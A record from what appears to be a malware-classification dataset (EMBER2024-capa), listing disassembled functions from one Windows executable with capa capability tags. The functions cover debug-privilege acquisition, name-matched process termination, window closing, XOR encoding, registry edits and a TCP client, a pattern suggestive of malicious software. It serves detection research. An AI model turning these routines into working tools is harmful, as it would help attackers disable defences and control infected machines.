joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405b30
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405d60
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x405bb3
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405d60
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x405bb3
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405d7c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x405c3c
xor eax, eax
push ebp
push 0x405c35
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00405978
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405c1a
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x405d9c
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405c1a
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405c3c
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x405d56
cmp byte [ebp - 0xd], 0
jne 0x405c83
cmp byte [ebp - 0x12], 0
je 0x405d56
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x405c9c
dec ebx
cmp byte [ebx], 0x2e
je 0x405cab
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x405c9b
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x405d56
inc ebx
cmp byte [ebp - 0x12], 0
je 0x405ce8
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405d56
cmp byte [ebp - 0xd], 0
je 0x405d56
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405d56
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407df8
Capabilities:
Set file attributes

Disassembly:
push ebx
push esi
push edi
mov edi, edx
mov esi, eax
xor ebx, ebx
push edi
mov eax, esi
call fcn.0040471c
push eax
call sub.kernel32.dll_SetFileAttributesA
test eax, eax
jne 0x407e1a
call sub.kernel32.dll_GetLastError_1
mov ebx, eax
mov eax, ebx
pop edi
pop esi
pop ebx
ret

Function at 0x408dc0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x408df9
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.0040435c
jmp 0x408e02
mov eax, ebx
mov edx, esi
call fcn.004042c0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x408e0c
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x408e2d
mov al, byte [esp]
jmp 0x408e2f
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x4094b4
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40932c
mov eax, dword [0x42b9e8]
cmp byte [eax], 0
je 0x40951c
mov eax, dword [0x42b8b8]
call fcn.00402d68
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.004080f0
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x409564
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x409552
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x42b88c]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x42c710]
call fcn.0040593c
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret

Function at 0x409fbc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40a020
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.004044d4
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00407c64
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a027
lea eax, [ebp - 0xc]
call fcn.0040426c
ret
Function at 0x40bd50
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
mov ebx, 0x42c914
call fcn.0040d394
dec eax
sub eax, 2
jb 0x40be28
push 0x40be2c
call sub.kernel32.dll_LoadLibraryA
mov dword [ebx], eax
cmp dword [ebx], 0x20
jb 0x40be28
push 0x40be34
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x42c8fc], eax
push 0x40be44
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x42c900], eax
push 0x40be54
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x42c904], eax
push 0x40be68
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x42c910], eax
push 0x40be84
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x42c908], eax
push 0x40be98
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x42c90c], eax
cmp dword [0x42c8fc], 0
je 0x40be1c
cmp dword [0x42c900], 0
je 0x40be1c
cmp dword [0x42c904], 0
je 0x40be1c
cmp dword [0x42c910], 0
je 0x40be1c
cmp dword [0x42c908], 0
je 0x40be1c
cmp dword [0x42c90c], 0
jne 0x40be28
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_FreeLibrary_1
xor eax, eax
mov dword [ebx], eax
pop ebx
ret

Function at 0x40c054
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x21c], ebx
mov dword [ebp - 0x220], ebx
mov dword [ebp - 0x210], ebx
mov dword [ebp - 0x218], ebx
mov dword [ebp - 0x214], ebx
mov dword [ebp - 0xc], ebx
mov edi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040470c
mov eax, dword [ebp - 8]
call fcn.0040470c
xor eax, eax
push ebp
push 0x40c1ba
push dword fs:[eax]
mov dword fs:[eax], esp
call sub.user32.dll_GetForegroundWindow
mov ebx, eax
xor esi, esi
test ebx, ebx
je 0x40c18f
lea eax, [ebp - 0x10c]
xor ecx, ecx
mov edx, pe_nt_image_headers32
call fcn.00402e48
push pe_nt_image_headers32
lea eax, [ebp - 0x10c]
push eax
push ebx
call sub.user32.dll_GetClassNameA
lea eax, [ebp - 0x214]
lea edx, [ebp - 0x10c]
mov ecx, pe_nt_image_headers32
call fcn.004044d4
mov eax, dword [ebp - 0x214]
lea edx, [ebp - 0x210]
call fcn.0040c214
mov eax, dword [ebp - 0x210]
push eax
lea edx, [ebp - 0x218]
mov eax, dword [ebp - 4]
call fcn.0040c214
mov edx, dword [ebp - 0x218]
pop eax
call fcn.00404668
jne 0x40c18f
push 0xff
lea eax, [ebp - 0x20b]
push eax
push ebx
call sub.user32.dll_GetWindowTextA
test eax, eax
jle 0x40c18f
lea edx, [ebp - 0xc]
lea eax, [ebp - 0x20b]
call fcn.0040c65c
lea edx, [ebp - 0x21c]
mov eax, dword [ebp - 0xc]
call fcn.0040c214
mov eax, dword [ebp - 0x21c]
push eax
lea edx, [ebp - 0x220]
mov eax, dword [ebp - 8]
call fcn.0040c214
mov eax, dword [ebp - 0x220]
pop edx
call fcn.00404804
test eax, eax
jle 0x40c18d
mov eax, edi
mov edx, dword [ebp - 0xc]
call fcn.004042c0
mov esi, ebx
jmp 0x40c18f
xor esi, esi
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c1c1
lea eax, [ebp - 0x220]
mov edx, 5
call fcn.00404290
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404290
ret
Function at 0x40ce30
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff90
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], eax
lea edi, [ebp - 0x65]
xor eax, eax
push ebp
push 0x40cfc0
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x40cfd0
push 0
call sub.user32.dll_FindWindowA
mov ebx, eax
push 0
push 0
push 0x10
push ebx
call sub.user32.dll_SendMessageA
mov eax, 0x40cfe4
call fcn.0040d0bc
push 0x40cff0
push 0x40d004
call sub.user32.dll_FindWindowA
mov ebx, eax
push 0
push 0
push 0x10
push ebx
call sub.user32.dll_SendMessageA
push 0x40d014
push 0x40d004
call sub.user32.dll_FindWindowA
mov ebx, eax
push 0
push 0
push 0x10
push ebx
call sub.user32.dll_SendMessageA
xor ebx, ebx
call sub.user32.dll_GetDesktopWindow
mov esi, eax
push 0
push 0x40d028
push ebx
push esi
call sub.user32.dll_FindWindowExA
mov ebx, eax
push 9
push edi
push ebx
call sub.user32.dll_GetWindowTextA
lea eax, [ebp - 0x6c]
mov edx, edi
mov ecx, 0x65
call fcn.004044d4
mov eax, dword [ebp - 0x6c]
mov edx, 0x40d038
call fcn.00404668
jne 0x40cefc
push 0
push 0
push 0x10
push ebx
call sub.user32.dll_SendMessageA
test ebx, ebx
jne 0x40ceb9
xor ebx, ebx
call sub.user32.dll_GetDesktopWindow
mov esi, eax
push 0
push 0x40d028
push ebx
push esi
call sub.user32.dll_FindWindowExA
mov ebx, eax
push 7
push edi
push ebx
call sub.user32.dll_GetWindowTextA
lea eax, [ebp - 0x70]
mov edx, edi
mov ecx, 0x65
call fcn.004044d4
mov eax, dword [ebp - 0x70]
mov edx, 0x40d04c
call fcn.00404668
jne 0x40cf4c
push 0
push 0
push 0x10
push ebx
call sub.user32.dll_SendMessageA
test ebx, ebx
jne 0x40cf09
push 0
push 0x40d054
call sub.user32.dll_FindWindowA
mov ebx, eax
push 0
push 0
push 0x10
push ebx
call sub.user32.dll_SendMessageA
push 0x40d064
push 0x40d070
call sub.user32.dll_FindWindowA
mov ebx, eax
push 0
push 0
push 0x10
push ebx
call sub.user32.dll_SendMessageA
mov eax, 0x40d084
call fcn.0040d0bc
mov eax, 0x40d098
call fcn.0040d0bc
mov eax, 0x40d0ac
call fcn.0040d0bc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40cfc7
lea eax, [ebp - 0x70]
mov edx, 2
call fcn.00404290
ret
Function at 0x40d0bc
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x144], edx
mov dword [ebp - 0x130], edx
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040470c
lea edi, [ebp - 0x12c]
xor eax, eax
push ebp
push 0x40d22a
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
xor edx, edx
mov eax, 2
call fcn.0040b564
mov ebx, eax
mov dword [edi], 0x128
mov edx, edi
mov eax, ebx
call fcn.0040b584
jmp 0x40d1f6
lea eax, [ebp - 0x138]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.004044d4
mov eax, dword [ebp - 0x138]
lea edx, [ebp - 0x134]
call fcn.0040c1cc
mov eax, dword [ebp - 0x134]
lea edx, [ebp - 0x130]
call fcn.0040c214
mov eax, dword [ebp - 0x130]
push eax
lea edx, [ebp - 0x13c]
mov eax, dword [ebp - 4]
call fcn.0040c214
mov edx, dword [ebp - 0x13c]
pop eax
call fcn.00404668
je 0x40d1d6
lea eax, [ebp - 0x144]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.004044d4
mov eax, dword [ebp - 0x144]
lea edx, [ebp - 0x140]
call fcn.0040c214
mov eax, dword [ebp - 0x140]
push eax
lea edx, [ebp - 0x148]
mov eax, dword [ebp - 4]
call fcn.0040c214
mov edx, dword [ebp - 0x148]
pop eax
call fcn.00404668
jne 0x40d1ed
push 0
mov eax, dword [edi + 8]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
mov esi, eax
mov edx, edi
mov eax, ebx
call fcn.0040b5a4
test eax, eax
jne 0x40d137
push ebx
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d231
lea eax, [ebp - 0x148]
mov edx, 7
call fcn.00404290
lea eax, [ebp - 4]
call fcn.0040426c
ret

Function at 0x40d23c
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov ebx, eax
mov dword [ebp - 8], 0x10
mov eax, dword [ebp - 8]
call fcn.004026e0
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x40d296
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x40d280
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.0040445c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d29d
mov eax, dword [ebp - 4]
call fcn.00402700
ret

Function at 0x40d2a4
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff800
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, ebx
call fcn.0040471c
push eax
push 0x800
lea eax, [ebp - 0x800]
push eax
mov eax, dword [ebp + 0xc]
call fcn.0040471c
push eax
mov eax, edi
call fcn.0040471c
push eax
mov eax, esi
call fcn.0040471c
push eax
call sub.kernel32.dll_GetPrivateProfileStringA
mov ecx, eax
lea edx, [ebp - 0x800]
mov eax, dword [ebp + 8]
call fcn.0040435c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x40d304
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffef8
mov ebx, eax
push 0x104
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
mov eax, ebx
mov edx, esp
mov ecx, 0x105
call fcn.004044d4
mov eax, dword [ebx]
call fcn.00404524
mov edx, dword [ebx]
cmp byte [edx + eax - 1], 0x5c
je 0x40d346
mov eax, ebx
mov edx, 0x40d358
call fcn.0040452c
add esp, 0x108
pop ebx
ret

Function at 0x40d648
Capabilities:
Acquire debug privileges

Disassembly:
push ebx
add esp, 0xffffffe4
mov byte [esp], al
xor ebx, ebx
lea eax, [esp + 4]
push eax
push 0x20
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
je 0x40d6be
lea eax, [esp + 0x10]
push eax
push 0x40d6c8
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
mov dword [esp + 0xc], 1
xor eax, eax
mov al, byte [esp]
mov eax, dword [eax*4 + 0x42b318]
mov dword [esp + 0x18], eax
lea eax, [esp + 8]
push eax
push 0
push 0x10
lea eax, [esp + 0x18]
push eax
push 0
mov eax, dword [esp + 0x18]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_GetLastError_1
test eax, eax
sete bl
mov eax, dword [esp + 4]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, ebx
add esp, 0x1c
pop ebx
ret
Function at 0x40e348
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 8], ecx
mov esi, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x40e3b9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.0040426c
mov eax, dword [ebp - 4]
call fcn.00404524
mov ebx, eax
test ebx, ebx
jle 0x40e3a3
mov edi, 1
lea eax, [ebp - 8]
mov edx, dword [ebp - 4]
mov dl, byte [edx + edi - 1]
xor dl, 0x19
call fcn.0040444c
mov edx, dword [ebp - 8]
mov eax, esi
call fcn.0040452c
inc edi
dec ebx
jne 0x40e383
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e3c0
lea eax, [ebp - 8]
call fcn.0040426c
ret

Function at 0x40e68c
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ecx
mov esi, dword [ebp + 0xc]
xor ecx, ecx
push ebp
push 0x40e6f2
push dword fs:[ecx]
mov dword fs:[ecx], esp
call fcn.0040e644
mov ebx, eax
lea eax, [ebp - 8]
mov edx, esi
call fcn.0040445c
mov eax, dword [ebp - 8]
call fcn.00404524
push eax
push esi
push 1
push 0
mov eax, dword [ebp - 4]
push eax
push ebx
call sub.advapi32.dll_RegSetValueExA
push ebx
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e6f9
lea eax, [ebp - 8]
call fcn.0040426c
ret
Function at 0x40e720
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x120], ebx
mov dword [ebp - 0x124], ebx
mov dword [ebp - 0x128], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x11c], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov edi, eax
xor eax, eax
push ebp
push 0x40e8c4
push dword fs:[eax]
mov dword fs:[eax], esp
mov ebx, 1
lea eax, [ebp - 0xc]
call fcn.0040426c
cmp ebx, 0x63
jg 0x40e87d
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.0040c670
mov eax, dword [ebp - 0x10]
call fcn.0040471c
push eax
lea eax, [ebp - 0x118]
mov edx, dword [ebp - 4]
call fcn.00403048
lea edx, [ebp - 0x118]
lea eax, [ebp - 0x18]
call fcn.004044c8
push dword [ebp - 0x18]
push 0x40e8dc
lea eax, [ebp - 0x11c]
mov edx, dword [ebp - 8]
call fcn.0040445c
push dword [ebp - 0x11c]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004045e4
mov eax, dword [ebp - 0x14]
call fcn.0040471c
mov edx, eax
mov eax, edi
pop ecx
call fcn.0040e98c
test al, al
je 0x40e87d
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.0040c670
lea eax, [ebp - 0x118]
mov edx, dword [ebp - 4]
call fcn.00403048
lea edx, [ebp - 0x118]
lea eax, [ebp - 0x124]
call fcn.004044c8
push dword [ebp - 0x124]
push 0x40e8dc
lea eax, [ebp - 0x128]
mov edx, dword [ebp - 8]
call fcn.0040445c
push dword [ebp - 0x128]
lea eax, [ebp - 0x120]
mov edx, 3
call fcn.004045e4
mov eax, dword [ebp - 0x120]
call fcn.0040471c
mov edx, eax
mov eax, edi
call fcn.0040e670
mov esi, eax
mov eax, dword [ebp - 0xc]
call fcn.0040471c
push eax
push esi
call sub.advapi32.dll_RegDeleteKeyA
push esi
call sub.advapi32.dll_RegCloseKey_1
inc ebx
cmp ebx, 0x63
jle 0x40e77e
mov edx, dword [ebp - 4]
mov eax, edi
call fcn.0040e670
mov esi, eax
mov eax, dword [ebp - 8]
push eax
push esi
call sub.advapi32.dll_RegDeleteKeyA
push esi
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e8cb
lea eax, [ebp - 0x128]
mov edx, 4
call fcn.00404290
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.00404290
ret

Function at 0x40e8e0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
push esi
mov dword [ebp - 4], ecx
mov esi, dword [ebp + 8]
mov dword [ebp - 8], 1
call fcn.0040e670
mov ebx, eax
mov dword [ebp - 0xc], pe_nt_image_headers32
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 8]
push eax
push 0
mov eax, dword [ebp - 4]
push eax
push ebx
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x40e93f
mov eax, esi
lea edx, [ebp - 0x10c]
mov ecx, pe_nt_image_headers32
call fcn.004044d4
push ebx
call sub.advapi32.dll_RegCloseKey_1
jmp 0x40e94c
mov eax, esi
call fcn.0040426c
push ebx
call sub.advapi32.dll_RegCloseKey_1
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x40ea70
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff88
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x74], ebx
mov ebx, ecx
mov dword [ebp - 4], edx
xor edx, edx
push ebp
push 0x40eb56
push dword fs:[edx]
mov dword fs:[edx], esp
xor esi, esi
mov dword [ebp - 8], 0x64
mov edx, dword [ebp - 4]
call fcn.0040e670
mov edi, eax
test edi, edi
je 0x40eafc
jmp 0x40eadb
mov dword [ebp - 8], 0x64
push dword [ebx]
lea eax, [ebp - 0x74]
lea edx, [ebp - 0x6d]
mov ecx, 0x65
call fcn.004044d4
push dword [ebp - 0x74]
push 0x40eb70
mov eax, ebx
mov edx, 3
call fcn.004045e4
inc esi
push 0
push 0
push 0
push 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x6d]
push eax
push esi
push edi
call sub.advapi32.dll_RegEnumKeyExA
test eax, eax
je 0x40eaad
push edi
call sub.advapi32.dll_RegCloseKey_1
lea eax, [ebp - 0x78]
push eax
mov eax, dword [ebx]
call fcn.00404524
mov edx, eax
mov eax, dword [ebx]
mov ecx, 1
call fcn.0040477c
mov eax, dword [ebp - 0x78]
mov edx, 0x40eb70
call fcn.00404668
jne 0x40eb39
mov eax, dword [ebx]
call fcn.00404524
mov edx, eax
mov eax, ebx
mov ecx, 1
call fcn.004047bc
mov ebx, esi
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40eb5d
lea eax, [ebp - 0x78]
mov edx, 2
call fcn.00404290
ret

Function at 0x40ec3c
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffe30
mov ebp, eax
lea eax, [esp + 0x40]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov eax, ebp
call fcn.0040426c
push 0x40
lea eax, [esp + 4]
push eax
call sub.wsock32.dll_gethostname
push esp
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x40ec96
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x40ec8a
push dword [edi]
call sub.wsock32.dll_inet_ntoa
mov edx, ebp
call fcn.0040c65c
inc ebx
mov edi, dword [esi + ebx*4]
test edi, edi
jne 0x40ec7b
call sub.wsock32.dll_WSACleanup
add esp, 0x1d0
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4111cc
Capabilities:
Resolve dns

Disassembly:
push ebx
add esp, 0xfffffff8
mov ebx, eax
mov eax, ebx
call fcn.0040471c
push eax
call sub.wsock32.dll_gethostbyname
mov ebx, eax
lea eax, [esp + 4]
xor ecx, ecx
mov edx, 4
call fcn.00402e48
test ebx, ebx
je 0x411217
mov eax, ebx
mov edx, dword [eax + 0xc]
mov edx, dword [edx]
mov cl, byte [edx]
mov byte [esp + 4], cl
mov cl, byte [edx + 1]
mov byte [esp + 5], cl
mov cl, byte [edx + 2]
mov byte [esp + 6], cl
mov al, byte [edx + 3]
mov byte [esp + 7], al
mov eax, dword [esp + 4]
mov dword [esp], eax
mov eax, dword [esp]
pop ecx
pop edx
pop ebx
ret
Function at 0x411228
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe58
push ebx
push esi
mov dword [ebp - 8], ecx
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040470c
xor eax, eax
push ebp
push 0x4112d0
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x198]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x411278
xor ebx, ebx
jmp 0x4112ba
mov eax, dword [ebp - 4]
call fcn.004111cc
mov dword [ebp - 0x1a4], eax
mov word [ebp - 0x1a8], 2
push esi
call sub.wsock32.dll_htons
mov word [ebp - 0x1a6], ax
push 0x10
lea eax, [ebp - 0x1a8]
push eax
push ebx
call sub.wsock32.dll_connect
test eax, eax
jne 0x4112b8
mov eax, dword [ebp - 8]
mov dword [eax], ebx
mov bl, 1
jmp 0x4112ba
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4112d7
lea eax, [ebp - 4]
call fcn.0040426c
ret

Function at 0x4112f0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xfffffff8
push ebx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.0040470c
xor eax, eax
push ebp
push 0x411361
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.0040471c
mov edx, eax
lea eax, [ebp - 0x1005]
call fcn.0040c634
push 4
lea eax, [ebp - 0x1005]
call fcn.0040c61c
push eax
lea eax, [ebp - 0x1005]
push eax
push ebx
call sub.wsock32.dll_send
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x411368
lea eax, [ebp - 4]
call fcn.0040426c
ret

Function at 0x411370
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
push esi
add esp, 0xfffffbfc
mov esi, edx
mov ebx, eax
push 0
push 0x400
lea eax, [esp + 8]
push eax
push ebx
call sub.wsock32.dll_recv
mov edx, esi
mov eax, esp
call fcn.0040c65c
add esp, 0x404
pop esi
pop ebx
ret